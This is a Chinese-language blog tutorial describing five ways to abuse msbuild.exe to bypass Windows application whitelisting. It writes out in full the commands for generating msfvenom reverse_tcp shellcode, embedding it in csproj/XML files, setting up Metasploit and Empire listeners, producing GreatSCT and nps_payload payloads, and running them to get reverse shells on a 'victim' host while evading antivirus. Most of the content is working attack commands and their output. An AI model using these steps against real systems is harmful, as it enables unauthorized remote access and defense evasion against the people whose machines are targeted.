使用msbuild.exe绕过应用程序白名单（多种方法）

矫情吗；* 2024-04-07 10:54 85阅读 0赞

### **一、MSbuild.exe简介** ###

Microsoft Build Engine是一个用于构建应用程序的平台。此引擎也被称为msbuild，它为项目文件提供一个XML模式，该模式控制构建平台如何处理和构建软件。Visual Studio使用MSBuild，但它不依赖于Visual Studio。通过在项目或解决方案文件中调用msbuild.exe，可以在未安装Visual Studio的环境中编译和生成程序。。

Visual Studio使用MSBuild加载和生成托管项目。Visual Studio中的项目文件(*.csproj*， *.vbproj*， *.vcxproj*和其他)包含MSBuild XML代码。

### **二、攻击方法** ###

#### **1.第一种方法：使用Msfvenom生成CSharp文件** ####

我们使用Microsoft Visual Studio创建带有\*.csproj后缀的C\#(C Sharp)编程项目，该后缀以msbuild格式保存，以便使用msbuild平台将其编译为可执行程序。

在恶意程序的生成并执行下，我们可以获得受害者主机的反向shell。因此，现在我们将生成file.csproj文件，为此，首先通过msfvenom生成c＃的shellcode。然后，shellcode将被放入到我们的file.csproj中，如下所示

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f csharp

![3dbca16675c8ac0ba87dd6ac7d96e97c.png][]

上面生成的shellcode应该放在XML文件中，你可以从[GitHub][]下载这个XML文件**，**它有被MSBuild编译和执行的代码。此XML文件应保存为**file.csproj，**并且必须通过MSBuild运行才能获得Meterpreter会话。

**注意：从C＃shellcode中替换shellcode值，然后将buf重命名为shellcode，如下图所示：**

![fa6e2af7142f71a167e3808a4994bb51.png][]

可以从Visual Studio或命令窗口运行msbuild。通过使用Visual Studio，您可以在.NET框架的任意一个版本上运行编译一个应用程序。

例如，您可以在32位平台上的.NET Framework 2.0上运行编译应用程序，并且您可以在64位平台上的.NET Framework 4.5上运行编译相同的应用程序。编译到多个框架的任务被称为多目标。

要了解有关msbuild的更多信息，请阅读此文章链接：https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2015

现在启动多处理程序以获取meterpreter会话，并使用msbuild.exe在目标路径C:\\windows\\microsoft.net\\framework\\v4.0.30319执行file.csproj文件，如图所示：

C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe file.csproj

**注意：您需要在此位置保存恶意exploit(XML/csproj)**

*C:\\windows\\microsoft.net\\framework\\v4.0.30319\\，然后使用命令提示符执行此文件*

![cff1070610cd508f3303d3c0b22e09b3.png][]

use exploit/multi/handler
    msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
    msf exploit(multi/handler) > set lhost 192.168.1.109
    msf exploit(multi/handler) > set lport 1234
    msf exploit(multi/handler) > exploit

如您所见，我们将拥有受害者的meterpreter session ，如下所示：

![f24d796e65fc87f76bd1133aa7cfaba3.png][]

#### **2.第二种方法：生成XML文件以利用MSBuild** ####

如上所述，msbuild使用基于XML的项目文件格式，该格式简单且可扩展，因此我们可以将生成的file.csproj重命名为file.xml，然后在目标路径上使用msbuild.exe再次运行file.xml:c:\\windows\\microsoft.net\\framework\\v4.0.30319，如图所示。

C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exefile.xml

![912924cba660749ef1f07e2d9d73b312.png][]

如您所见，我们将拥有受害者的meterpreter session ，如下所示：

![1e6ec33ed785738d3c1d88cdd41d5d62.png][]

#### **3.第三种方法：Nps\_Payload脚本** ####

此脚本将为基本的入侵检测的逃逸生成payload。它利用了来自几个不同来源的公开技术。由Larry Spohn(@spoonman1091)编写，Payload由Ben Mauch(@ben0xa)编写，又名Dirty\_Ben。你可以从[github][]下载它。

Nps\_payload将生成可以使用msbuild.exe和mshta.exe执行的payload，以通过meterpreter会话获取受害者主机的反向连接。

按照以下步骤生成payload：

1.  从GitHub下载nps exploit后，运行**./nps\_payload.py**脚本
2.  输入**1**，然后选择选项“generate msbuild/nps/msfF”
3.  再次输入**1**并选择payload选项“windows / meterpreter / reverse\_tcp”

这将在XML文件中生成payload，在目标位置C:\\windows\\microsoft.net\\framework\\v4.0.30319中发送此文件，与前面的方法相同，并在新终端中同时运行下面的命令以启动侦听器。

msfconsole -r msbuild_nps.rc

![112aab0a61cd0215f9af34c3a8b89670.png][]

现在重复上面的步骤，使用命令提示符执行msbuild\_nps.xml，并通过meterpreter获取反向连接，如下所示：

C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe msbuild\_nps.xml

![b14f762479e1bb86766513906bae6d52.png][]

#### **4.第四种方法：PowerShell Empire** ####

对于我们的下一个msbuild攻击方法，我们将使用empire。empire是一款后开发框架。到目前为止，我们已经将我们的XML工具与Metasploit匹配，但在这种方法中，我们将使用empire框架。它只是基于python的PowerShell windows代理，这使得它非常有用。Empire由@harmj0y、@sixdub、@enigam0x3、rvrsh3ll、@killswitch\_gui和@xorrier开发。您可以从[https://github.com/EmpireProject/Empire][https_github.com_EmpireProject_Empire]下载此框架。

要获得empire的基本指南，请访问我们的文章：

[https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/][https_www.hackingarticles.in_hacking-with-empire-powershell-post-exploitation-agent]

启动Empire框架后，输入listener以检查是否有任何活动的侦听器。如下图所示，没有活动的侦听器。所以要设置一个侦听器类型

listeners
    uselistner http
    set Host http://192.168.1.107
    execute

使用上述命令，您将拥有一个活动的侦听器。输入back以退出侦听器，以便启动PowerShell。

对于我们的msbuild攻击，我们将使用stager。empire中的stager是一段代码段，它允许我们的恶意代码通过被感染主机上的代理运行。因此，对于这种类型，请输入以下命令：

usestager windows/launcher_xml
    set Listener http
    execute

usestager将创建一个恶意代码文件，该文件将保存在名为launcher.xml的/tmp中。

![3406a377e55da015b1088d43751be51d.png][]

一旦文件运行，我们将在侦听器上获得结果。通过键入以下命令运行受害者的文件：

cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
    MSBuild.exe launcher.xml

![b08f710a738b3494e6603575845d376e.png][]

要查看是否有会话，请打开输入命令“agents”。这样做将向您显示您拥有的会话的名称。要访问该会话请输入以下命令：

interact A8H14C7L

上面的命令将允许您访问会话

sysinfo

![54679dd087b19f064f8b4f0f439be97e.png][]

#### **5.第五种方法：GreatSCT** ####

GreatSCT是一款允许您使用Metasploit exploit 并允许它绕过大多数反病毒的工具。GreatSCT目前得到了@ConsciousHacker的支持。您可以从这里下载：[*https*][https]：*[//github.com/GreatSCT/GreatSCT][https]*

下载并执行后，输入以下命令以访问模块：

use Bypass

![2a72be33638913457c5716eebc0522f5.png][]

现在查看payload列表类型：

list

![6e5510d1da9d4ba116047d673c972a00.png][]

现在，从payload列表中，您可以选择任何目标进行所需的攻击。但对于这次攻击，我们将使用：

use msbuild/meterpreter/rev_tcp.py

![5e9dc913fc9776fac38992b8861c17a0.png][]

执行命令后，输入以下命令：

set lhost 192.168.1.107
    generate

![723e1f9aa6f99174b7b3d68485a8d838.png][]

在生成payload时，它将要求您为payload提供一个名称。默认情况下，它将以“payload”作为名称。我们将msbuild作为exploit名称，输出代码将保存在XML中。

![34c051dbceb09038f41817fe62b2a10d.png][]

现在，创建了两个文件。一个Metasploit RC文件和另外一个msbuild.xml文件。

首先，在/usr/share/greatsct output/source中通过输入以下命令启动python的服务器：

python -m SimpleHTTPServer 80

![37b6e863cf1e68835cae017245f53b23.png][]

通过输入以下命令运行受害者的文件：

cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
    MSBuild.exe msbuild.xml

![37f7f94ef3a3bb1c05e1985ea29954c5.png][]

同时，使用资源文件启动multi/handler。为此，输入以下命令：

msfconsole -r /usr/share/greatsct-output/handlers/payload.rc

我们拥有一个meterpreter会话，如图所示:

![fb17fccd88e117afdf19095b7936e55c.png][]

参考文章：[https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2017][https_docs.microsoft.com_en-us_visualstudio_msbuild_msbuild_view_vs-2017]

[3dbca16675c8ac0ba87dd6ac7d96e97c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/b1249f91de9c46589f85e0c4e886efda.png
[GitHub]: https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20shellcode.xml
[fa6e2af7142f71a167e3808a4994bb51.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/63e23b5ef1e04e52b17a94a0f9dce5de.png
[cff1070610cd508f3303d3c0b22e09b3.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/b89e25348ab0477fb70fe17968d3e166.png
[f24d796e65fc87f76bd1133aa7cfaba3.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/23e34fd1784c4084a4b3ee74af66ae9c.png
[912924cba660749ef1f07e2d9d73b312.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/cd28adb979c045fc89dd85d279a1a68e.png
[1e6ec33ed785738d3c1d88cdd41d5d62.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/1d3475a0634441f190ac01371a085a9f.png
[github]: https://github.com/trustedsec/nps_payload
[112aab0a61cd0215f9af34c3a8b89670.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/cb198e2c78434e9a97f059f179dda51d.png
[b14f762479e1bb86766513906bae6d52.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/f40c977e73e6451f9dc9682203c1a3c1.png
[https_github.com_EmpireProject_Empire]: https://github.com/EmpireProject/Empire
[https_www.hackingarticles.in_hacking-with-empire-powershell-post-exploitation-agent]: https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/
[3406a377e55da015b1088d43751be51d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/79f5f927fd714367944f34e0e2cc9ce1.png
[b08f710a738b3494e6603575845d376e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/26d8029ae8554df5a1ba24d1ce71ece3.png
[54679dd087b19f064f8b4f0f439be97e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/b9b28209f3324765843402c696bca563.png
[https]: https://github.com/GreatSCT/GreatSCT
[2a72be33638913457c5716eebc0522f5.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/1eba9b3b59194345ad4ee99e57458f94.png
[6e5510d1da9d4ba116047d673c972a00.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/4bf8b0c796c24e0e992840b865df8a21.png
[5e9dc913fc9776fac38992b8861c17a0.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/7f67b39c5c894af9883912255abf0730.png
[723e1f9aa6f99174b7b3d68485a8d838.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/453b9060b44544048f1a0ec6ea46c76b.png
[34c051dbceb09038f41817fe62b2a10d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/26d4817620c8467e902fde3eeef504b3.png
[37b6e863cf1e68835cae017245f53b23.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/3d4d51be1a764352b402d1e13ad2f3bb.png
[37f7f94ef3a3bb1c05e1985ea29954c5.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/19929b79fcbd4645861a41bbdaaf49f7.png
[fb17fccd88e117afdf19095b7936e55c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/ea291b29cd464cbaa6aedf3891163235.png
[https_docs.microsoft.com_en-us_visualstudio_msbuild_msbuild_view_vs-2017]: https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2017